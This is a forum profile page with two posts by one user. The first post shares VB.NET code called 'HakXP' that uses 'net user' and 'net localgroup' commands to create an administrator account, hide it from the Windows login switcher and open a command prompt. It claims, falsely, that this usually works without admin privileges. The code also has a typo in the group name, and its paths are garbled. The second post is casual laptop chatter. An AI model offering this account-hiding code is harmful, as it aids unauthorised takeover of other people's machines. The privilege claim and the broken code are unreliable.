Jump to content

azurith

Members
  • Posts

    3
  • Joined

  • Last visited

Contact Methods

  • MSN
    omega_x_3001@hotmail.com
  • ICQ
    0
  • Yahoo
    azurith_xeon@yahoo.com

Profile Information

  • Location
    Oklahoma, US

Recent Profile Visitors

746 profile views

azurith's Achievements

Newbie

Newbie (1/14)

  1. This should make it work under either XP Home or Pro, and the install directory for XP shouldn't matter anymore.. Here's my update: Module HakXP Sub Main() Console.Write("Enter new username: ") Dim uName As String = Console.ReadLine() Console.Write("Enter password for " + uName + " : ") Dim pWord As String = Console.ReadLine() AddUser(uName, pWord) RunProcess("%systemroot%system32", "cmd.exe") 'Will open up a cmd prompt at WINDOWSsystem32 End Sub Sub AddUser(ByVal UserName As String, ByVal Password As String) Shell("net user " + UserName + " " + Password + " /add") 'Adds the user "UserName" with password "Password" Shell("net localgroup administators " + UserName + " /add") 'Adds "UserName" to the admin group Shell("net localgroup users " + UserName + " /delete") 'If Fast-Switching is on, then "UserName" will show up End Sub Sub RunProcess(ByVal Path As String, ByVal Exe As String) Dim px As New Process px.StartInfo.WorkingDirectory = Path px.StartInfo.FileName = Exe px.Start() End Sub End Module %systemroot% is the equivelent of typing C:Windows or D:Windows, or whatever drive you installed Windows.. It also doesn't require admin privs, most of the time. (I'm not sure if it can be disabled.) Anyways, I hope that helps somewhat. I think it may also work for Windows NT now also.. If I remember right, I think Windows NT root directory is 'C:WinNT' or something similar. So it should also work.. Could you recompile the code and test it with the new code? Thankies! ~~Azurith PS>> The updated code should make it compatible with NT & XP. The install drive of Windows should no longer matter.
  2. Yea. I have an hp notebook. Hewlett Packard used to make some really, really horribly crappy PCs in my opinion.. ever see the 'pavilion' line? Nothing but shit rolling off the assembly line. I have a tantra against fixing ANY HP machines, because of that fact. (HP Pavilion Desktops used to be pure crap, don't know if they still are.) And my original computer was a custom desktop, but I'm going to college now and decided to switch to a laptop. My pick: HP Pavilion dv2020us 'Entertainment PC' AMD Turion 64 X2 1.6Ghz (Always upgradable.. right? xD) 1024MB DDR2 (533Mhz) Ram 80GB HDD (I have a 40GB usb backup drive..) It's all really sweet, but has an Nvidia Geforce Go 6150.. which is a built-in graphics card. And it uses a broadcom wifi adapter, which isn't linux compatible. Other than that, it's 'awesome'. My friend got an AMD Athlon 64 2.6Ghz laptop, and thinks it would beat mine.. maby in 'single-threaded' applications.. but give me some multi-threaded aps, and it'll rape his. ~~Azurith
×
×
  • Create New...